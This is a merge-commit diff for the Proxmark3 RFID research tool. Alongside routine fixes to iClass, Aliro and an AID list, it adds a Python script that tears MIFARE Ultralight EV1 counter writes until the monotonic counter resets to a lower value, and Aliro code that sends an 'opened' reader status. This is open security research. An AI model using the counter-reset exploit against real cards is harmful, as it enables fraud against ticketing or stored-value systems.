Merge branch 'master' into master

Signed-off-by: Iceman <iceman@iuse.se>
This commit is contained in:
Iceman authored and GitHub committed 2026-03-24 06:38:16 +07:00
commit cfc2540aac
35 files changed
+943 -280

No files matched your search

+1 -1
View File
@@ -10,7 +10,7 @@ local logfilecmd
if package.config:sub(1,1) == "\\" then
logfilecmd = 'dir /a-d /o-d /tw /b/s "' .. dir .. '" 2>nul:'
else
logfilecmd = 'find "' .. dir .. '" -type f -printf "%T@ %p\\n" | sort -nr | cut -d" " -f2-'
logfilecmd = 'find "' .. dir .. '" -type f | sort -nr | cut -d" " -f2-'
end
local logfile = (io.popen(logfilecmd):read("*a"):match("%C+"))
+224
View File
@@ -0,0 +1,224 @@
#!/usr/bin/env python3
#-----------------------------------------------------------------------------
# Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# See LICENSE.txt for the text of the license.
#-----------------------------------------------------------------------------
# This script bypasses the Anti-Tearing protection on MIFARE Ultralight EV1 monotonic counters and allows resetting the counter value
# Script version: 1.0.0
# Created by W0rthlessS0ul (https://github.com/W0rthlessS0ul)
# Based on Quarkslab research: https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html
#-----------------------------------------------------------------------------
import argparse
import sys
import os
import pm3
try:
from colors import color
except ModuleNotFoundError:
def color(s, fg=None):
_ = fg
return str(s)
p = pm3.pm3()
ProgramName = os.path.basename(sys.argv[0])
attempt = 0
byte = 1
parser = argparse.ArgumentParser(
formatter_class=argparse.RawTextHelpFormatter,
prog=color(f"\n script run {ProgramName}", "red"),
epilog=color(f"examples:\n", "green") + color(f" script run {ProgramName} -c 0\n script run {ProgramName} -c 0 -i 25\n script run {ProgramName} -c 0 -i 25 -f True\n script run {ProgramName} -c 0 -i 25 -f True --BD 2350 --00 225", "yellow")
)
parser.add_argument('-c', '--cnt', metavar='', type=str, default='0', help='Counter index')
parser.add_argument('-i', '--inc', metavar='', type=int, default=25, help='Increase time steps')
parser.add_argument('-f', '--force', metavar='', type=bool, help='Force start without checking')
parser.add_argument('--DelayBD', metavar='', type=int, help='Manual adjustment of BD delay (disables auto-configuring)')
parser.add_argument('--Delay00', metavar='', type=int, help='Manual adjustment of 00 delay (disables auto-configuring)')
if '-h' in sys.argv or '--help' in sys.argv:
help_text = parser.format_help()
help_text = help_text.replace("usage:", f"\n{color('Counter reset of Mifare UL EV1 cards', 'cyan')}\n\nusage:")
help_text = help_text.replace("options:", color("options:", "green")).replace("usage:", color("usage:", "green"))
print(help_text)
sys.exit(0)
args = parser.parse_args()
counter_number = args.cnt
def read_counter(counter_numb):
p.console(f"hf 14a raw -s -c 39 0{counter_numb}", capture=True)
counter = str(p.grabbed_output).split(" [ ")[0].replace("[+] ", "").replace(" ", "").lower()
counter_bytes = bytes.fromhex(counter)
counter_int = int.from_bytes(counter_bytes, byteorder='little')
return counter, counter_int
def enable_tearoff(delay):
p.console(f"hw tearoff --delay {delay}")
p.console("hw tearoff --on", capture=True)
if str(p.grabbed_output).find("enabled") >= 0:
return True
return False
def incr_cnt(counter_numb, StrBytes):
p.console(f"hf 14a raw -s -c A5 0{counter_numb} {StrBytes} 00")
p.grabbed_output
def check_tearing_event(counter_numb):
p.console(f"hf 14a raw -s -c 3E 0{counter_numb}", capture=True)
tearing = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")[0]
if tearing == "BD":
return True, tearing
return False, tearing
def some_tests(counter_numb):
try:
p.console(f"hf 14a raw -s -c 60", capture=True)
info = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")
if info[4] != "01":
print(f"[{color('!', 'red')}] Support only EV1 versions")
return False
except:
print(f"[{color('!', 'red')}] Support only Mifare UL EV1 cards")
return False
tearing = check_tearing_event(counter_number)[1]
if tearing != "00" and tearing != "BD":
print(f"[{color('!', 'red')}] Looks like you're card doesn't support CHECK_TEARING_EVENT")
return False
counter_str, counter = read_counter(counter_number)
if counter == 16777215:
print(f"[{color('!', 'red')}] The counter value is at its maximum, it cannot be reset")
return False
elif counter == 0:
print(f"[{color('!', 'red')}] The counter value is already at the minimum level")
return False
if counter_str[:4] == "0000":
print(f"\n[{color('+', 'green')}] First two bytes set to 00, skip")
byte = 3
elif counter_str[:2] == "00":
print(f"\n[{color('+', 'green')}] First byte set to 00, skip")
byte = 2
return True
if __name__ == "__main__":
if not args.force and not some_tests(counter_number):
print(f"[{color('?', 'goldenrod')}] Try `{color(f'script run {ProgramName} -f True', 'goldenrod')}` if this is a script bug", end="")
sys.exit(0)
if args.DelayBD == None:
for Delay_BD in range(1000, 5000, args.inc):
initial_counter_str, initial_counter_int = read_counter(counter_number)
enable_tearoff(Delay_BD)
incr_cnt(counter_number, "010000")
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
final_counter_str, final_counter_int = read_counter(counter_number)
print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_BD, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'red') if not check_tearing else color(check_tearing_clear, 'green')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True)
if final_counter_int > initial_counter_int and check_tearing:
print(f"\n[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us")
break
else:
Delay_BD = args.DelayBD
print(f"[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us")
if args.Delay00 == None:
for Delay_00 in range(100, 1000, args.inc):
initial_counter_str, initial_counter_int = read_counter(counter_number)
enable_tearoff(Delay_00)
incr_cnt(counter_number, "000000")
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
final_counter_str, final_counter_int = read_counter(counter_number)
print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'green') if not check_tearing else color(check_tearing_clear, 'red')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True)
if not check_tearing:
print(f"\n[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us")
incr_cnt(counter_number, "000000")
break
else:
Delay_00 = args.Delay00
print(f"[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us")
constant_counter_int = read_counter(counter_number)[1]
while True:
initial_counter_str, initial_counter_int = read_counter(counter_number)
enable_tearoff(Delay_BD)
match byte:
case 1:
incr_cnt(counter_number, "010000")
case 2:
incr_cnt(counter_number, "000100")
case 3:
incr_cnt(counter_number, "000001")
enable_tearoff(Delay_00)
incr_cnt(counter_number, "000000")
final_counter_str, final_counter_int = read_counter(counter_number)
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
attempt+=1
print(f"\r[{color('=', 'goldenrod')}] Attempt: {color(attempt, 'green')} | Delay BD/00: {color(Delay_BD, 'yellow')}/{color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'yellow')} | Counter changing: {color(initial_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(initial_counter_str.upper(), 'green')}==>{color(final_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(final_counter_str.upper(), 'green')}", end="", flush=True)
if attempt % 20 == 0 and constant_counter_int == final_counter_int:
Delay_BD+=5
constant_counter_int = final_counter_int
print(f"\n[{color('=', 'goldenrod')}] BD delay increased {color(Delay_BD, 'green')}")
elif attempt % 20 == 0 and final_counter_int - constant_counter_int > 10:
Delay_BD-=5
constant_counter_int = final_counter_int
print(f"\n[{color('=', 'goldenrod')}] BD delay reduced {color(Delay_BD, 'red')}")
if attempt % 5 == 0 and check_tearing:
Delay_00+=5
print(f"\n[{color('=', 'goldenrod')}] 00 delay increased {color(Delay_00, 'green')}")
if attempt % 20 == 0: constant_counter_int = final_counter_int
if final_counter_int < initial_counter_int and final_counter_str[:2] == "00" and byte == 1:
if final_counter_str[-4:] == "0000":
print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00")
byte = 4
elif final_counter_str[-4:][:2] == "00":
print(f"\n[{color('+', 'green')}] Exploit successfull, first two bytes set to 00")
byte = 3
else:
print(f"\n[{color('+', 'green')}] Exploit successfull, first byte set to 00")
byte = 2
elif final_counter_int < initial_counter_int and final_counter_str[-4:][:2] == "00" and byte == 2:
if final_counter_str[-2:] == "00":
print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00")
byte = 4
else:
print(f"\n[{color('+', 'green')}] Exploit successfull, second byte set to 00")
byte = 3
elif final_counter_int < initial_counter_int and final_counter_str[-2:] == "00" and byte == 3:
print(f"\n[{color('+', 'green')}] Exploit successfull, third byte set to 00")
byte = 4
if byte == 4:
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
if not check_tearing:
print(f"\n[{color('#', 'blue')}] Check tearing: {color(check_tearing_clear, 'red')}\n[{color('=', 'goldenrod')}] Copying slot A to B")
while not check_tearing:
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
incr_cnt(counter_number, "000000")
print(f"[{color('+', 'green')}] Check tearing: {color(check_tearing_clear, 'green')}")
print(f"\n[{color('+', 'green')}] Exploit successfull\n[{color('=', 'goldenrod')}] - Initial counter: {initial_counter_str.upper()}\n[{color('=', 'goldenrod')}] - Final counter: {color(final_counter_str.upper(), 'green')}\n[{color('=', 'goldenrod')}] - Counter changing: {initial_counter_int - final_counter_int}\n[{color('=', 'goldenrod')}] - Check tearing: {color(check_tearing_clear, 'green')}", end="")
sys.exit(0)
+25 -1
View File
@@ -2447,12 +2447,20 @@
"Description": "Used by both by physical cards and mobile implementations",
"Type": "access"
},
{
"AID": "A0000004400001010001000002",
"Vendor": "HID Global",
"Country": "",
"Name": "SEOS Mobile",
"Description": "Declared by some SEOS-compatible HID partner applications for HCE",
"Type": "access"
},
{
"AID": "A00000054000060100010000FF",
"Vendor": "HID Global",
"Country": "",
"Name": "SEOS Mobile",
"Description": "Declared by some SEOS-compatible applications for HCE",
"Description": "Declared by some SEOS-compatible HID partner applications for HCE",
"Type": "access"
},
{
@@ -2502,5 +2510,21 @@
"Name": "Crescendo OATH #2",
"Description": "HID Crescendo Key OATH instance 2",
"Type": "access"
},
{
"AID": "FF55494420414343455353",
"Vendor": "UniFi",
"Country": "",
"Name": "UniFi Access HCE Credential",
"Description": "Declared as 'other' service",
"Type": "access"
},
{
"AID": "FF55494420414343455356",
"Vendor": "UniFi",
"Country": "",
"Name": "UniFi Access HCE Credential",
"Description": "Declared as 'payment' service",
"Type": "access"
}
]
+136 -24
View File
@@ -59,6 +59,8 @@ static const uint8_t ALIRO_SECURE_CHANNEL_DEVICE_MODE[] = {0, 0, 0, 0, 0, 0, 0,
static const uint8_t ALIRO_NFC_INTERFACE_BYTE = 0x5E;
static const uint8_t ALIRO_AUTH0_DEFAULT_POLICY = 0x01;
static const uint8_t ALIRO_AUTH1_REQUEST_PUBLIC_KEY = 0x01;
static const uint8_t ALIRO_EXCHANGE_INS = 0xC9;
static const uint8_t ALIRO_READER_STATUS_STATE_UNSECURE[] = {0x01, 0x01}; // UNSECURE means "opened"
static const char ALIRO_DEFAULT_STEP_UP_SCOPE[] = "matter1";
#define ALIRO_MAX_BUFFER 2048
@@ -172,6 +174,13 @@ typedef struct {
aliro_derived_keys_t keys;
} aliro_standard_result_t;
typedef struct {
const uint8_t (*sk_reader)[32];
uint32_t reader_counter;
const uint8_t (*sk_device)[32];
uint32_t device_counter;
} aliro_secure_channel_state_t;
typedef struct {
aliro_select_info_t select_info;
uint8_t protocol_version[2];
@@ -188,11 +197,19 @@ typedef struct {
aliro_fast_result_t fast_result;
aliro_auth1_response_t auth1_parsed;
aliro_standard_result_t standard_result;
aliro_secure_channel_state_t expedited_secure_channel;
aliro_secure_channel_state_t step_up_secure_channel;
} aliro_read_state_t;
static int CmdHelp(const char *Cmd);
static const char *aliro_cbor_type_name(CborType type);
static bool aliro_cbor_print_scalar(const char *label, const CborValue *value);
static int aliro_secure_channel_encrypt_reader_payload(aliro_secure_channel_state_t *channel,
const uint8_t *plaintext, size_t plaintext_len,
uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len);
static int aliro_secure_channel_decrypt_device_payload(aliro_secure_channel_state_t *channel,
const uint8_t *ciphertext, size_t ciphertext_len,
uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len);
static const char *get_aliro_application_type_name(uint16_t type) {
for (size_t i = 0; i < ARRAYLEN(aliro_application_type_map); ++i) {
@@ -1609,6 +1626,10 @@ aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_da
PrintAndLogEx(INFO, " Fast BleSKReader.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_reader, 32));
PrintAndLogEx(INFO, " Fast BleSKDevice.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_device, 32));
PrintAndLogEx(INFO, " Fast URSK................. %s", sprint_hex_inrow(state->fast_result.keys.ursk, 32));
state->expedited_secure_channel.sk_reader = &state->fast_result.keys.exchange_sk_reader;
state->expedited_secure_channel.reader_counter = 1;
state->expedited_secure_channel.sk_device = &state->fast_result.keys.exchange_sk_device;
state->expedited_secure_channel.device_counter = 1;
if (flow == ALIRO_FLOW_FAST) {
*fast_flow_complete = true;
return PM3_SUCCESS;
@@ -1665,6 +1686,15 @@ static int aliro_read_prepare_auth1_keys(aliro_read_state_t *state,
state->standard_result.keys.kpersistent_present = false;
memset(state->standard_result.keys.kpersistent, 0, sizeof(state->standard_result.keys.kpersistent));
state->expedited_secure_channel.sk_reader = &state->standard_result.keys.exchange_sk_reader;
state->expedited_secure_channel.reader_counter = 1;
state->expedited_secure_channel.sk_device = &state->standard_result.keys.exchange_sk_device;
state->expedited_secure_channel.device_counter = 1;
state->step_up_secure_channel.sk_reader = &state->standard_result.keys.step_up_sk_reader;
state->step_up_secure_channel.reader_counter = 1;
state->step_up_secure_channel.sk_device = &state->standard_result.keys.step_up_sk_device;
state->step_up_secure_channel.device_counter = 1;
return PM3_SUCCESS;
}
@@ -1739,18 +1769,17 @@ aliro_append_tlv(0x9E, auth1_signature, 64,
return PM3_ESOFT;
}
uint8_t auth1_iv[12] = {0};
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, 1, auth1_iv);
uint8_t auth1_plain[ALIRO_MAX_BUFFER] = {0};
res = aliro_aes_gcm_decrypt(state->standard_result.keys.exchange_sk_device, auth1_iv, sizeof(auth1_iv),
auth1_response_enc, auth1_response_enc_len, auth1_plain);
size_t auth1_plain_len = 0;
res = aliro_secure_channel_decrypt_device_payload(&state->expedited_secure_channel,
auth1_response_enc, auth1_response_enc_len,
auth1_plain, sizeof(auth1_plain),
&auth1_plain_len);
if (res != PM3_SUCCESS) {
PrintAndLogEx(ERR, "Failed to decrypt AUTH1 response");
return res;
}
size_t auth1_plain_len = auth1_response_enc_len - 16;
res = aliro_parse_auth1_plaintext(auth1_plain, auth1_plain_len, &state->auth1_parsed);
if (res != PM3_SUCCESS) {
return res;
@@ -2010,29 +2039,29 @@ static void aliro_print_step_up_scopes(const aliro_step_up_scopes_t *scopes) {
PrintAndLogEx(INFO, "Step-up scopes............ %s", joined);
}
static int aliro_secure_channel_encrypt_reader_payload(const uint8_t sk_reader[32], uint32_t *reader_counter,
static int aliro_secure_channel_encrypt_reader_payload(aliro_secure_channel_state_t *channel,
const uint8_t *plaintext, size_t plaintext_len,
uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len) {
if (sk_reader == NULL || reader_counter == NULL || plaintext == NULL ||
if (channel == NULL || channel->sk_reader == NULL || plaintext == NULL ||
ciphertext == NULL || ciphertext_len == NULL) {
return PM3_EINVARG;
}
uint8_t iv[12] = {0};
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, *reader_counter, iv);
int res = aliro_aes_gcm_encrypt(sk_reader, iv, sizeof(iv),
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, channel->reader_counter, iv);
int res = aliro_aes_gcm_encrypt(*channel->sk_reader, iv, sizeof(iv),
plaintext, plaintext_len,
ciphertext, ciphertext_max, ciphertext_len);
if (res == PM3_SUCCESS) {
(*reader_counter)++;
channel->reader_counter++;
}
return res;
}
static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[32], uint32_t *device_counter,
static int aliro_secure_channel_decrypt_device_payload(aliro_secure_channel_state_t *channel,
const uint8_t *ciphertext, size_t ciphertext_len,
uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len) {
if (sk_device == NULL || device_counter == NULL || ciphertext == NULL ||
if (channel == NULL || channel->sk_device == NULL || ciphertext == NULL ||
plaintext == NULL || plaintext_len == NULL) {
return PM3_EINVARG;
}
@@ -2041,15 +2070,84 @@ static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[3
}
uint8_t iv[12] = {0};
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, *device_counter, iv);
int res = aliro_aes_gcm_decrypt(sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext);
aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, channel->device_counter, iv);
int res = aliro_aes_gcm_decrypt(*channel->sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext);
if (res == PM3_SUCCESS) {
(*device_counter)++;
channel->device_counter++;
*plaintext_len = ciphertext_len - 16;
}
return res;
}
static int aliro_send_reader_status_exchange(aliro_secure_channel_state_t *channel,
const uint8_t reader_status[2]) {
if (channel == NULL || channel->sk_reader == NULL ||
channel->sk_device == NULL || reader_status == NULL) {
return PM3_EINVARG;
}
PrintAndLogEx(INFO, "");
PrintAndLogInfoHeader("EXCHANGE");
uint8_t status_plaintext[8] = {0};
size_t status_plaintext_len = 0;
int res = aliro_append_tlv(0x97, reader_status, 2,
status_plaintext, sizeof(status_plaintext), &status_plaintext_len);
if (res != PM3_SUCCESS) {
PrintAndLogEx(ERR, "Failed to encode EXCHANGE reader status payload");
return res;
}
uint8_t status_ciphertext[ALIRO_MAX_BUFFER] = {0};
size_t status_ciphertext_len = 0;
res = aliro_secure_channel_encrypt_reader_payload(channel,
status_plaintext, status_plaintext_len,
status_ciphertext, sizeof(status_ciphertext),
&status_ciphertext_len);
if (res != PM3_SUCCESS) {
PrintAndLogEx(ERR, "Failed to encrypt EXCHANGE reader status payload");
return res;
}
uint8_t exchange_response[ALIRO_MAX_BUFFER] = {0};
size_t exchange_response_len = 0;
uint16_t exchange_sw = 0;
res = aliro_exchange_chained(false, true, 0x80, ALIRO_EXCHANGE_INS, 0x00, 0x00,
status_ciphertext, status_ciphertext_len,
exchange_response, sizeof(exchange_response),
&exchange_response_len, &exchange_sw);
if (res != PM3_SUCCESS) {
PrintAndLogEx(ERR, "Reader status EXCHANGE APDU exchange failed");
return res;
}
if (exchange_sw != ISO7816_OK) {
PrintAndLogEx(ERR, "Reader status EXCHANGE failed: %04x - %s",
exchange_sw, GetAPDUCodeDescription(exchange_sw >> 8, exchange_sw & 0xff));
return PM3_ESOFT;
}
PrintAndLogEx(INFO, "Reader status EXCHANGE.... %04x", exchange_sw);
if (exchange_response_len == 0) {
return PM3_SUCCESS;
}
uint8_t response_plaintext[ALIRO_MAX_BUFFER] = {0};
size_t response_plaintext_len = 0;
res = aliro_secure_channel_decrypt_device_payload(channel,
exchange_response, exchange_response_len,
response_plaintext, sizeof(response_plaintext),
&response_plaintext_len);
if (res != PM3_SUCCESS) {
PrintAndLogEx(ERR, "Failed to decrypt reader status EXCHANGE response");
return res;
}
if (response_plaintext_len > 0) {
PrintAndLogEx(INFO, "Reader status response.... %s",
sprint_hex_inrow(response_plaintext, response_plaintext_len));
}
return PM3_SUCCESS;
}
static bool aliro_cbor_key_equals(const CborValue *key, int int_key, const char *text_key) {
if (key == NULL) {
return false;
@@ -3243,11 +3341,15 @@ static int aliro_step_up_print_device_response(const uint8_t *device_response, s
return PM3_SUCCESS;
}
static int aliro_read_do_step_up(const aliro_read_state_t *state,
static int aliro_read_do_step_up(aliro_read_state_t *state,
const aliro_step_up_scopes_t *step_up_scopes) {
if (state == NULL || step_up_scopes == NULL) {
if (state == NULL || step_up_scopes == NULL ||
state->step_up_secure_channel.sk_reader == NULL ||
state->step_up_secure_channel.sk_device == NULL) {
return PM3_EINVARG;
}
aliro_secure_channel_state_t *step_up_channel = &state->step_up_secure_channel;
if (!state->standard_result.keys.step_up_keys_present) {
PrintAndLogEx(ERR, "Step-up keys are not available");
return PM3_ESOFT;
@@ -3314,12 +3416,9 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state,
}
PrintAndLogEx(INFO, "DeviceRequest CBOR........ %s", sprint_hex_inrow(device_request, device_request_len));
uint32_t step_up_reader_counter = 1;
uint32_t step_up_device_counter = 1;
uint8_t encrypted_device_request[ALIRO_MAX_BUFFER] = {0};
size_t encrypted_device_request_len = 0;
res = aliro_secure_channel_encrypt_reader_payload(state->standard_result.keys.step_up_sk_reader,
&step_up_reader_counter,
res = aliro_secure_channel_encrypt_reader_payload(step_up_channel,
device_request, device_request_len,
encrypted_device_request, sizeof(encrypted_device_request),
&encrypted_device_request_len);
@@ -3386,8 +3485,7 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state,
uint8_t device_response_plaintext[ALIRO_MAX_BUFFER] = {0};
size_t device_response_plaintext_len = 0;
res = aliro_secure_channel_decrypt_device_payload(state->standard_result.keys.step_up_sk_device,
&step_up_device_counter,
res = aliro_secure_channel_decrypt_device_payload(step_up_channel,
encrypted_device_response, encrypted_device_response_len,
device_response_plaintext, sizeof(device_response_plaintext),
&device_response_plaintext_len);
@@ -3450,6 +3548,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l
break;
}
if (fast_flow_complete) {
res = aliro_send_reader_status_exchange(&state.expedited_secure_channel,
ALIRO_READER_STATUS_STATE_UNSECURE);
if (res != PM3_SUCCESS) {
PrintAndLogEx(WARNING, "Completion EXCHANGE failed after fast auth; continuing");
}
status = PM3_SUCCESS;
break;
}
@@ -3478,6 +3581,15 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l
break;
}
}
aliro_secure_channel_state_t *completion_channel = (flow == ALIRO_FLOW_STEP_UP)
? &state.step_up_secure_channel
: &state.expedited_secure_channel;
const char *completion_flow_name = (flow == ALIRO_FLOW_STEP_UP) ? "step-up" : "expedited";
res = aliro_send_reader_status_exchange(completion_channel,
ALIRO_READER_STATUS_STATE_UNSECURE);
if (res != PM3_SUCCESS) {
PrintAndLogEx(WARNING, "Completion EXCHANGE failed after %s auth; continuing", completion_flow_name);
}
status = PM3_SUCCESS;
} while (0);
+192 -130
View File
@@ -98,6 +98,7 @@ bool check_known_default(uint8_t *csn, uint8_t *epurse, uint8_t *rmac, uint8_t *
iclass_prekey_t *prekey = calloc(ICLASS_KEYS_MAX * 2, sizeof(iclass_prekey_t));
if (prekey == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
return false;
}
@@ -228,6 +229,11 @@ static void iclass_upload_emul(uint8_t *d, uint16_t n, uint16_t offset, uint16_t
}
struct p *payload = calloc(4 + bytes_in_packet, sizeof(uint8_t));
if (payload == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
break;
}
payload->offset = offset + *bytes_sent;
payload->len = bytes_in_packet;
memcpy(payload->data, d + *bytes_sent, bytes_in_packet);
@@ -1121,7 +1127,11 @@ int read_iclass_csn(bool loop, bool verbose, bool shallow_mod) {
}
picopass_hdr_t *card = calloc(1, sizeof(picopass_hdr_t));
if (card) {
if (card == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
DropField();
return PM3_EMALLOC;
} else {
memcpy(card, &r->header.hdr, sizeof(picopass_hdr_t));
if (loop == false) {
PrintAndLogEx(NORMAL, "");
@@ -1130,9 +1140,6 @@ int read_iclass_csn(bool loop, bool verbose, bool shallow_mod) {
iclass_set_last_known_card(card);
free(card);
res = PM3_SUCCESS;
} else {
PrintAndLogEx(WARNING, "Failed to allocate memory");
res = PM3_EMALLOC;
}
}
} while (loop && (kbd_enter_pressed() == false));
@@ -1238,6 +1245,7 @@ static int CmdHFiClassELoad(const char *Cmd) {
uint8_t *newdump = realloc(dump, bytes_read);
if (newdump == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
free(dump);
return PM3_EMALLOC;
} else {
@@ -1358,7 +1366,6 @@ static int CmdHFiClassEView(const char *Cmd) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
return PM3_EMALLOC;
}
memset(dump, 0, bytes);
PrintAndLogEx(INFO, "downloading from emulator memory");
if (!GetFromDevice(BIG_BUF_EML, dump, bytes, 0, NULL, 0, NULL, 2500, false)) {
@@ -1537,7 +1544,7 @@ static void iclass_decode_credentials(uint8_t *data) {
binlen = corrected_len;
}
PrintAndLogEx(SUCCESS, "Binary... " _GREEN_("%s") " ( %zu )", pbin, binlen);
PrintAndLogEx(SUCCESS, "Bin... " _GREEN_("%s") " ( %zu )", pbin, binlen);
PrintAndLogEx(NORMAL, "");
// Use the corrected length (without sentinel) for decoding
decode_wiegand(top, mid, bot, (int)binlen);
@@ -1742,7 +1749,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) {
// use the first block (CSN) for filename
char *fptr = calloc(50, sizeof(uint8_t));
if (fptr == false) {
if (fptr == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
free(decrypted);
return PM3_EMALLOC;
@@ -2466,6 +2473,7 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) {
arg_lit0(NULL, "nr", "replay of NR/MAC block write or use privilege escalation if mac is empty"),
arg_lit0("v", "verbose", "verbose output"),
arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"),
arg_lit0("@", NULL, "optional - continuous mode"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
@@ -2535,6 +2543,7 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) {
bool use_replay = arg_get_lit(ctx, 9);
bool verbose = arg_get_lit(ctx, 10);
bool shallow_mod = arg_get_lit(ctx, 11);
bool cm = arg_get_lit(ctx, 12);
CLIParserFree(ctx);
@@ -2543,19 +2552,31 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) {
return PM3_EINVARG;
}
int isok = iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod);
switch (isok) {
case PM3_SUCCESS:
PrintAndLogEx(SUCCESS, "Wrote block " _YELLOW_("%d") " / " _YELLOW_("0x%02X") " ( " _GREEN_("ok") " )", blockno, blockno);
break;
case PM3_ETEAROFF:
if (verbose)
PrintAndLogEx(INFO, "Writing tear off triggered");
break;
default:
PrintAndLogEx(FAILED, "Writing failed");
break;
if (cm) {
PrintAndLogEx(INFO, "Press " _GREEN_("<Enter>") " to exit");
}
int isok = 0;
do {
isok = iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod);
switch (isok) {
case PM3_SUCCESS: {
PrintAndLogEx(SUCCESS, "Wrote block " _YELLOW_("%d") " / " _YELLOW_("0x%02X") " ( " _GREEN_("ok") " )", blockno, blockno);
break;
}
case PM3_ETEAROFF: {
if (verbose) {
PrintAndLogEx(INFO, "Writing tear off triggered");
}
break;
}
default: {
PrintAndLogEx(FAILED, "Writing failed");
break;
}
}
} while (cm && (kbd_enter_pressed() == false));
PrintAndLogEx(NORMAL, "");
return isok;
}
@@ -2798,6 +2819,12 @@ static int CmdHFiClassRestore(const char *Cmd) {
}
iclass_restore_req_t *payload = calloc(1, payload_size);
if (payload == NULL) {
PrintAndLogEx(WARNING, "Failed to allocate memory");
free(dump);
return PM3_EMALLOC;
}
payload->req.use_raw = rawkey;
payload->req.use_elite = elite;
payload->req.use_credit_key = use_credit_key;
@@ -2860,7 +2887,7 @@ static int CmdHFiClassRestore(const char *Cmd) {
}
static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose,
bool auth, bool shallow_mod, uint8_t *out, bool print) {
bool auth, bool shallow_mod, uint8_t *out, bool print, bool loop) {
iclass_auth_req_t payload = {
.use_raw = rawkey,
@@ -2897,9 +2924,14 @@ static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType,
}
if (print) {
PrintAndLogEx(NORMAL, "");
if (loop == false) {
PrintAndLogEx(NORMAL, "");
}
PrintAndLogEx(SUCCESS, " block %3d/0x%02X : " _GREEN_("%s"), blockno, blockno, sprint_hex(packet->data, sizeof(packet->data)));
PrintAndLogEx(NORMAL, "");
if (loop == false) {
PrintAndLogEx(NORMAL, "");
}
}
if (out) {
@@ -2910,8 +2942,8 @@ static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType,
}
static int iclass_read_block(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose,
bool auth, bool shallow_mod, uint8_t *out) {
return iclass_read_block_ex(KEY, blockno, keyType, elite, rawkey, replay, verbose, auth, shallow_mod, out, true);
bool auth, bool shallow_mod, uint8_t *out, bool loop) {
return iclass_read_block_ex(KEY, blockno, keyType, elite, rawkey, replay, verbose, auth, shallow_mod, out, true, loop);
}
static int CmdHFiClass_ReadBlock(const char *Cmd) {
@@ -2933,6 +2965,7 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) {
